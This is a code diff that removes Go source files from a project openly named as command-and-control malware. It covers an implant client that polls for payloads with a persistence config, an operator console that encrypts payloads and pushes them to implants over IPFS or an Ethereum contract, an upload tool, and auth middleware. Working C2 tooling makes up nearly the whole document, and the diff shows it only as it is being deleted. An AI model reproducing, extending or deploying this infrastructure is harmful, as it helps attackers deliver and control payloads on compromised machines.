func main() {
|
||||
var (
|
||||
cidSource = flag.String("cid-source", "", "CID source URL (mode A) or contract address (mode B)")
|
||||
decryptionKey = flag.String("decryption-key", "", "Payload decryption key (32-byte hex or passphrase)")
|
||||
pollInterval = flag.Int("poll-interval", 60, "Poll interval in seconds")
|
||||
mode = flag.String("mode", "http", "Operation mode: 'http' or 'contract'")
|
||||
rpcURL = flag.String("rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||
gateways = flag.String("gateways", "", "Comma-separated IPFS gateway URLs")
|
||||
reportURL = flag.String("report-url", "", "URL to POST execution reports")
|
||||
configFile = flag.String("config", "", "Path to config file (for persistence)")
|
||||
jwtFetch = flag.String("jwt-fetch", "", "JWT for authenticated CID hub access")
|
||||
implantID = flag.String("id", "", "Implant ID (auto-generated if empty)")
|
||||
)
|
||||
flag.Parse()
|
||||
|
||||
if *cidSource == "" {
|
||||
log.Fatal("--cid-source is required (URL for mode A, contract addr for mode B)")
|
||||
}
|
||||
if *decryptionKey == "" {
|
||||
log.Fatal("--decryption-key is required")
|
||||
}
|
||||
|
||||
// Parse gateways
|
||||
var gwList []string
|
||||
if *gateways != "" {
|
||||
gwList = strings.Split(*gateways, ",")
|
||||
}
|
||||
|
||||
_ = rpcURL // used in mode B (contract)
|
||||
|
||||
// Build config
|
||||
cfg := types.Config{
|
||||
ImplantID: *implantID,
|
||||
DecryptionKey: *decryptionKey,
|
||||
PollInterval: *pollInterval,
|
||||
CIDSource: *cidSource,
|
||||
Mode: *mode,
|
||||
Gateways: gwList,
|
||||
ReportURL: *reportURL,
|
||||
JWTFetch: *jwtFetch,
|
||||
}
|
||||
|
||||
// Try loading from config file for persistence
|
||||
if *configFile != "" {
|
||||
savedCfg, err := loadConfig(*configFile)
|
||||
if err == nil {
|
||||
// Merge: CLI flags override config file
|
||||
if *implantID == "" && savedCfg.ImplantID != "" {
|
||||
cfg.ImplantID = savedCfg.ImplantID
|
||||
}
|
||||
if *decryptionKey == "" && savedCfg.DecryptionKey != "" {
|
||||
cfg.DecryptionKey = savedCfg.DecryptionKey
|
||||
}
|
||||
if *cidSource == "" && savedCfg.CIDSource != "" {
|
||||
cfg.CIDSource = savedCfg.CIDSource
|
||||
}
|
||||
if savedCfg.LastCID != "" {
|
||||
cfg.LastCID = savedCfg.LastCID
|
||||
}
|
||||
if len(gwList) == 0 && len(savedCfg.Gateways) > 0 {
|
||||
cfg.Gateways = savedCfg.Gateways
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
implant := NewImplant(cfg)
|
||||
|
||||
// Periodically save config for persistence
|
||||
if *configFile != "" {
|
||||
go func() {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
if err := implant.saveConfig(*configFile); err != nil {
|
||||
log.Printf("Failed to save config: %v", err)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Handle signals
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
|
||||
go func() {
|
||||
<-sigCh
|
||||
log.Println("Received shutdown signal")
|
||||
if *configFile != "" {
|
||||
implant.saveConfig(*configFile)
|
||||
}
|
||||
os.Exit(0)
|
||||
}()
|
||||
|
||||
implant.run()
|
||||
}
|
||||
|
|
@ -1,505 +0,0 @@
|
|||
// Command server is the operator console for the C2 IPFS payload delivery system.
|
||||
//
|
||||
// MODE A — Simple HTTP CID Hub:
|
||||
// Runs a lightweight HTTP server that serves new CIDs.
|
||||
// Implants poll GET /cid for the current CID.
|
||||
//
|
||||
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
|
||||
// Build with: go build -tags ethereum ./cmd/server
|
||||
// Interacts with an Ethereum smart contract that emits NewCID events.
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
|
||||
)
|
||||
|
||||
// Server state.
|
||||
type Server struct {
|
||||
mu sync.RWMutex
|
||||
currentCID string
|
||||
history []types.CIDEntry
|
||||
startTime time.Time
|
||||
mode string // "http" or "contract"
|
||||
ipfsClient *ipfs.Client
|
||||
encKey []byte
|
||||
config Config
|
||||
|
||||
// For contract mode
|
||||
contractAddress string
|
||||
rpcURL string
|
||||
}
|
||||
|
||||
// Config holds server configuration flags.
|
||||
type Config struct {
|
||||
port int
|
||||
username string
|
||||
password string
|
||||
jwtToken string
|
||||
mode string
|
||||
ipfsAPI string
|
||||
pinataJWT string
|
||||
encKeyHex string
|
||||
contractAddr string
|
||||
rpcURL string
|
||||
maxHistory int
|
||||
}
|
||||
|
||||
func (s *Server) addHistory(cid, note string) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
entry := types.CIDEntry{
|
||||
CID: cid,
|
||||
Timestamp: time.Now().UTC(),
|
||||
Note: note,
|
||||
}
|
||||
s.history = append(s.history, entry)
|
||||
if len(s.history) > s.config.maxHistory {
|
||||
s.history = s.history[len(s.history)-s.config.maxHistory:]
|
||||
}
|
||||
s.currentCID = cid
|
||||
}
|
||||
|
||||
// --- HTTP Handlers (Mode A) ---
|
||||
|
||||
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
cid := s.currentCID
|
||||
s.mu.RUnlock()
|
||||
|
||||
if cid == "" {
|
||||
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
|
||||
}
|
||||
|
||||
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
CID string `json:"cid"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
req.CID = strings.TrimSpace(req.CID)
|
||||
if !ipfs.IsValidCID(req.CID) {
|
||||
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
s.addHistory(req.CID, req.Note)
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{
|
||||
"status": "ok",
|
||||
"cid": req.CID,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
history := make([]types.CIDEntry, len(s.history))
|
||||
copy(history, s.history)
|
||||
s.mu.RUnlock()
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
if history == nil {
|
||||
w.Write([]byte("[]"))
|
||||
return
|
||||
}
|
||||
json.NewEncoder(w).Encode(history)
|
||||
}
|
||||
|
||||
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
|
||||
s.mu.RLock()
|
||||
cid := s.currentCID
|
||||
history := make([]types.CIDEntry, len(s.history))
|
||||
copy(history, s.history)
|
||||
s.mu.RUnlock()
|
||||
|
||||
resp := types.StatusResponse{
|
||||
CurrentCID: cid,
|
||||
History: history,
|
||||
Mode: s.mode,
|
||||
Uptime: time.Since(s.startTime).Round(time.Second).String(),
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
}
|
||||
|
||||
// --- Operator Console ---
|
||||
|
||||
func (s *Server) runConsole() {
|
||||
scanner := bufio.NewScanner(os.Stdin)
|
||||
fmt.Println()
|
||||
fmt.Println("╔══════════════════════════════════════════╗")
|
||||
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
|
||||
fmt.Println("╚══════════════════════════════════════════╝")
|
||||
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
|
||||
if s.mode == "http" {
|
||||
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
|
||||
}
|
||||
fmt.Println()
|
||||
fmt.Println("Commands:")
|
||||
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||
fmt.Println(" status — Show current state")
|
||||
fmt.Println(" history — Show recent CID history")
|
||||
fmt.Println(" genkey — Generate a new encryption key")
|
||||
fmt.Println(" help — Show this help")
|
||||
fmt.Println(" exit — Shutdown")
|
||||
fmt.Println()
|
||||
|
||||
for {
|
||||
fmt.Print("> ")
|
||||
if !scanner.Scan() {
|
||||
break
|
||||
}
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
parts := strings.Fields(line)
|
||||
cmd := parts[0]
|
||||
|
||||
switch cmd {
|
||||
case "exit", "quit":
|
||||
fmt.Println("Shutting down...")
|
||||
os.Exit(0)
|
||||
|
||||
case "help":
|
||||
fmt.Println("Commands:")
|
||||
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
|
||||
fmt.Println(" cid <new-cid> — Manually set CID")
|
||||
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
|
||||
fmt.Println(" status — Show current state")
|
||||
fmt.Println(" history — Show recent CID history")
|
||||
fmt.Println(" genkey — Generate a new encryption key")
|
||||
fmt.Println(" exit — Shutdown")
|
||||
|
||||
case "genkey":
|
||||
key, err := crypto.GenerateKey()
|
||||
if err != nil {
|
||||
fmt.Printf("Error: %v\n", err)
|
||||
continue
|
||||
}
|
||||
fmt.Printf("New encryption key: %s\n", key)
|
||||
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
|
||||
fmt.Println("Share it with implants via --decryption-key")
|
||||
|
||||
case "status":
|
||||
s.mu.RLock()
|
||||
fmt.Printf("Current CID: %s\n", s.currentCID)
|
||||
fmt.Printf("Mode: %s\n", s.mode)
|
||||
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
|
||||
fmt.Printf("History entries: %d\n", len(s.history))
|
||||
fmt.Printf("Contract address: %s\n", s.contractAddress)
|
||||
s.mu.RUnlock()
|
||||
|
||||
case "history":
|
||||
s.mu.RLock()
|
||||
if len(s.history) == 0 {
|
||||
fmt.Println("No history.")
|
||||
} else {
|
||||
fmt.Println("Recent CIDs:")
|
||||
for i, entry := range s.history {
|
||||
note := entry.Note
|
||||
if note == "" {
|
||||
note = "(no note)"
|
||||
}
|
||||
fmt.Printf(" %d. %s [%s] %s\n",
|
||||
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
|
||||
}
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
|
||||
case "cid":
|
||||
if len(parts) < 2 {
|
||||
fmt.Println("Usage: cid <cid>")
|
||||
continue
|
||||
}
|
||||
newCID := parts[1]
|
||||
if !ipfs.IsValidCID(newCID) {
|
||||
fmt.Println("Invalid CID format.")
|
||||
continue
|
||||
}
|
||||
note := ""
|
||||
if len(parts) > 2 {
|
||||
note = strings.Join(parts[2:], " ")
|
||||
}
|
||||
s.addHistory(newCID, note)
|
||||
fmt.Printf("CID updated to: %s\n", newCID)
|
||||
|
||||
case "encrypt":
|
||||
if len(parts) < 2 {
|
||||
fmt.Println("Usage: encrypt <file>")
|
||||
continue
|
||||
}
|
||||
filePath := parts[1]
|
||||
s.cmdEncrypt(filePath)
|
||||
|
||||
case "deploy":
|
||||
if len(parts) < 2 {
|
||||
fmt.Println("Usage: deploy <payload>")
|
||||
continue
|
||||
}
|
||||
filePath := parts[1]
|
||||
s.cmdDeploy(filePath)
|
||||
|
||||
default:
|
||||
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) cmdEncrypt(filePath string) {
|
||||
data, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
fmt.Printf("Error reading file: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||
if err != nil {
|
||||
fmt.Printf("Error encrypting: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Extract filename without path
|
||||
fileName := filePath
|
||||
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||
fileName = filePath[idx+1:]
|
||||
}
|
||||
encName := fileName + ".enc"
|
||||
|
||||
// Upload to IPFS
|
||||
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
|
||||
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||
if err != nil {
|
||||
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||
fmt.Println("Encrypted file saved locally as:", encName)
|
||||
os.WriteFile(encName, encrypted, 0644)
|
||||
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
|
||||
fmt.Printf("Local copy: %s\n", encName)
|
||||
os.WriteFile(encName, encrypted, 0644)
|
||||
fmt.Println()
|
||||
fmt.Println("To deploy, run: cid", resp.CID)
|
||||
}
|
||||
|
||||
func (s *Server) cmdDeploy(filePath string) {
|
||||
data, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
fmt.Printf("Error reading payload: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
encrypted, err := crypto.Encrypt(data, s.encKey)
|
||||
if err != nil {
|
||||
fmt.Printf("Error encrypting payload: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fileName := filePath
|
||||
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
|
||||
fileName = filePath[idx+1:]
|
||||
}
|
||||
encName := fileName + ".enc"
|
||||
|
||||
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
|
||||
fmt.Println("Uploading to IPFS...")
|
||||
|
||||
resp, err := s.ipfsClient.Upload(encrypted, encName)
|
||||
if err != nil {
|
||||
fmt.Printf("IPFS upload failed: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
s.addHistory(resp.CID, "deploy: "+fileName)
|
||||
|
||||
fmt.Printf("✅ Deployed!\n")
|
||||
fmt.Printf(" Payload: %s\n", filePath)
|
||||
fmt.Printf(" Encrypted: %s\n", encName)
|
||||
fmt.Printf(" IPFS CID: %s\n", resp.CID)
|
||||
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||
|
||||
if s.mode == "contract" {
|
||||
if s.contractAddress != "" {
|
||||
fmt.Println()
|
||||
fmt.Println("To send CID to contract:")
|
||||
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
|
||||
fmt.Println("(Requires --rpc-url and go-ethereum build)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- HTTP Server ---
|
||||
|
||||
func (s *Server) startHTTPServer() {
|
||||
if s.mode != "http" {
|
||||
return
|
||||
}
|
||||
|
||||
mux := http.NewServeMux()
|
||||
|
||||
// Apply auth middleware based on config
|
||||
var getCIDHandler http.HandlerFunc = s.handleGetCID
|
||||
var postCIDHandler http.HandlerFunc = s.handlePostCID
|
||||
var historyHandler http.HandlerFunc = s.handleHistory
|
||||
var statusHandler http.HandlerFunc = s.handleStatus
|
||||
|
||||
if s.config.jwtToken != "" {
|
||||
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
|
||||
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
|
||||
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
|
||||
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
|
||||
} else {
|
||||
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
|
||||
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
|
||||
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
|
||||
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
|
||||
}
|
||||
|
||||
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
getCIDHandler(w, r)
|
||||
case http.MethodPost:
|
||||
postCIDHandler(w, r)
|
||||
default:
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
}
|
||||
})
|
||||
mux.HandleFunc("/history", historyHandler)
|
||||
mux.HandleFunc("/status", statusHandler)
|
||||
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
info := map[string]interface{}{
|
||||
"service": "c2-ipfs-payload",
|
||||
"version": "1.0.0",
|
||||
"mode": s.mode,
|
||||
"auth": s.config.jwtToken != "" || s.config.username != "",
|
||||
"endpoints": map[string]string{
|
||||
"GET /cid": "Get current CID",
|
||||
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
|
||||
"GET /history": "Get recent CID history",
|
||||
"GET /status": "Get server status",
|
||||
},
|
||||
}
|
||||
json.NewEncoder(w).Encode(info)
|
||||
})
|
||||
|
||||
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
|
||||
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
|
||||
if err := http.ListenAndServe(addr, mux); err != nil {
|
||||
log.Fatalf("Server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
// Flags
|
||||
cfg := Config{}
|
||||
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
|
||||
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
|
||||
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
|
||||
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
|
||||
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
|
||||
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
|
||||
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
|
||||
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
|
||||
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
|
||||
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
|
||||
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
|
||||
flag.Parse()
|
||||
|
||||
// Encryption key
|
||||
var encKey []byte
|
||||
if cfg.encKeyHex != "" {
|
||||
var err error
|
||||
encKey, err = hex.DecodeString(cfg.encKeyHex)
|
||||
if err != nil {
|
||||
log.Fatalf("Invalid encryption key hex: %v", err)
|
||||
}
|
||||
if len(encKey) != crypto.KeySize {
|
||||
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
|
||||
}
|
||||
fmt.Printf("Using provided encryption key: %s...%s\n",
|
||||
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
|
||||
} else {
|
||||
keyHex, err := crypto.GenerateKey()
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to generate key: %v", err)
|
||||
}
|
||||
encKey, _ = hex.DecodeString(keyHex)
|
||||
fmt.Printf("Generated new encryption key: %s\n", keyHex)
|
||||
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
// IPFS client
|
||||
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
|
||||
|
||||
server := &Server{
|
||||
startTime: time.Now(),
|
||||
mode: cfg.mode,
|
||||
ipfsClient: ipfsClient,
|
||||
encKey: encKey,
|
||||
config: cfg,
|
||||
contractAddress: cfg.contractAddr,
|
||||
rpcURL: cfg.rpcURL,
|
||||
history: make([]types.CIDEntry, 0, cfg.maxHistory),
|
||||
}
|
||||
|
||||
// Start console
|
||||
go server.runConsole()
|
||||
|
||||
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
|
||||
if cfg.mode == "http" {
|
||||
go server.startHTTPServer()
|
||||
} else if cfg.mode == "contract" {
|
||||
log.Printf("Running in contract mode — no HTTP CID hub.")
|
||||
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
|
||||
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
|
||||
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
|
||||
} else {
|
||||
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
|
||||
}
|
||||
|
||||
// Wait for signal
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||
<-sigCh
|
||||
fmt.Println("\nShutting down...")
|
||||
}
|
||||
|
|
@ -1,87 +0,0 @@
|
|||
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
|
||||
//
|
||||
// Usage:
|
||||
//
|
||||
// ./upload -key <32-byte-hex-key> -file payload.bin
|
||||
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
|
||||
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var (
|
||||
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
|
||||
filePath = flag.String("file", "", "Payload file to encrypt and upload")
|
||||
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
|
||||
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
|
||||
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
|
||||
output = flag.String("output", "", "Output file (default: <file>.enc)")
|
||||
)
|
||||
flag.Parse()
|
||||
|
||||
if *keyHex == "" {
|
||||
log.Fatal("--key is required (32-byte hex key)")
|
||||
}
|
||||
if *filePath == "" {
|
||||
log.Fatal("--file is required")
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(*filePath)
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to read payload file: %v", err)
|
||||
}
|
||||
|
||||
key, err := crypto.HexToKey(*keyHex)
|
||||
if err != nil {
|
||||
log.Fatalf("Invalid key: %v", err)
|
||||
}
|
||||
|
||||
encrypted, err := crypto.Encrypt(data, key)
|
||||
if err != nil {
|
||||
log.Fatalf("Encryption failed: %v", err)
|
||||
}
|
||||
|
||||
outFile := *output
|
||||
if outFile == "" {
|
||||
base := filepath.Base(*filePath)
|
||||
outFile = base + ".enc"
|
||||
}
|
||||
|
||||
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
|
||||
log.Fatalf("Failed to write encrypted file: %v", err)
|
||||
}
|
||||
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
|
||||
|
||||
if *noUpload {
|
||||
fmt.Println("Skipping IPFS upload (-no-upload flag)")
|
||||
fmt.Println("\nManual steps:")
|
||||
fmt.Println(" 1. ipfs add", outFile)
|
||||
fmt.Println(" 2. Use the CID: cid <cid>")
|
||||
return
|
||||
}
|
||||
|
||||
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
|
||||
resp, err := client.Upload(encrypted, filepath.Base(outFile))
|
||||
if err != nil {
|
||||
log.Fatalf("IPFS upload failed: %v\n", err)
|
||||
}
|
||||
|
||||
fmt.Printf("✅ Uploaded to IPFS!\n")
|
||||
fmt.Printf(" CID: %s\n", resp.CID)
|
||||
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||
fmt.Println("\nNext steps:")
|
||||
fmt.Println(" 1. On the server console, run: cid", resp.CID)
|
||||
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
|
||||
fmt.Println("\nImplant command:")
|
||||
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
|
||||
}
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
go 1.26
|
||||
module github.com/churchofmalware/c2-ipfs-payload
|
||||
|
|
@ -1,65 +0,0 @@
|
|||
// Package auth provides simple HTTP basic authentication middleware for the CID hub.
|
||||
package auth
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// BasicAuth wraps an HTTP handler with basic auth protection.
|
||||
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if username == "" {
|
||||
// No auth configured
|
||||
next(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
user, pass, ok := r.BasicAuth()
|
||||
if !ok {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
|
||||
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
|
||||
|
||||
if !userMatch || !passMatch {
|
||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
|
||||
// This is a simple token comparison for HMAC-style tokens.
|
||||
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if token == "" {
|
||||
next(w, r)
|
||||
return
|
||||
}
|
||||
|
||||
authHeader := r.Header.Get("Authorization")
|
||||
if authHeader == "" {
|
||||
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
// Support both "Bearer <token>" and "<token>" directly
|
||||
provided := authHeader
|
||||
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
|
||||
provided = authHeader[7:]
|
||||
}
|
||||
|
||||
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
|
||||
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
|
@ -1,60 +0,0 @@
|
|||
// Package contract handles smart contract interaction for the fully
|
||||
// decentralized CID feed mode (MODE B).
|
||||
//
|
||||
// This file only contains the interface. The actual implementation requires
|
||||
// go-ethereum and is in contract_eth.go (build tag: ethereum).
|
||||
package contract
|
||||
|
||||
import "errors"
|
||||
|
||||
// CIDEvent represents a NewCID event emitted by the smart contract.
|
||||
type CIDEvent struct {
|
||||
CID string
|
||||
Sender string
|
||||
Timestamp uint64
|
||||
BlockNum uint64
|
||||
TxHash string
|
||||
}
|
||||
|
||||
// Watcher watches a smart contract for NewCID events.
|
||||
type Watcher interface {
|
||||
// Watch starts watching for new CID events. The callback is called
|
||||
// for each event. Returns a channel that receives an error on failure.
|
||||
Watch(callback func(CIDEvent)) (<-chan error, error)
|
||||
|
||||
// GetLatestCID fetches the current CID from the contract.
|
||||
GetLatestCID() (string, error)
|
||||
|
||||
// SendCID submits a new CID to the contract (requires wallet).
|
||||
SendCID(cid string, privateKeyHex string) (string, error)
|
||||
|
||||
// Close cleans up the watcher.
|
||||
Close()
|
||||
}
|
||||
|
||||
// ErrNotCompiledWithEthereum is returned when the binary is not built with
|
||||
// the ethereum build tag.
|
||||
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
|
||||
|
||||
// PlaceholderWatcher returns errors requiring go-ethereum.
|
||||
type PlaceholderWatcher struct{}
|
||||
|
||||
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||
return nil, ErrNotCompiledWithEthereum
|
||||
}
|
||||
|
||||
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
|
||||
return "", ErrNotCompiledWithEthereum
|
||||
}
|
||||
|
||||
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
|
||||
return "", ErrNotCompiledWithEthereum
|
||||
}
|
||||
|
||||
func (p *PlaceholderWatcher) Close() {}
|
||||
|
||||
// NewWatcher creates a contract watcher. If go-ethereum is not available,
|
||||
// returns a placeholder that errors.
|
||||
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
|
||||
}
|
||||
|
|
@ -1,264 +0,0 @@
|
|||
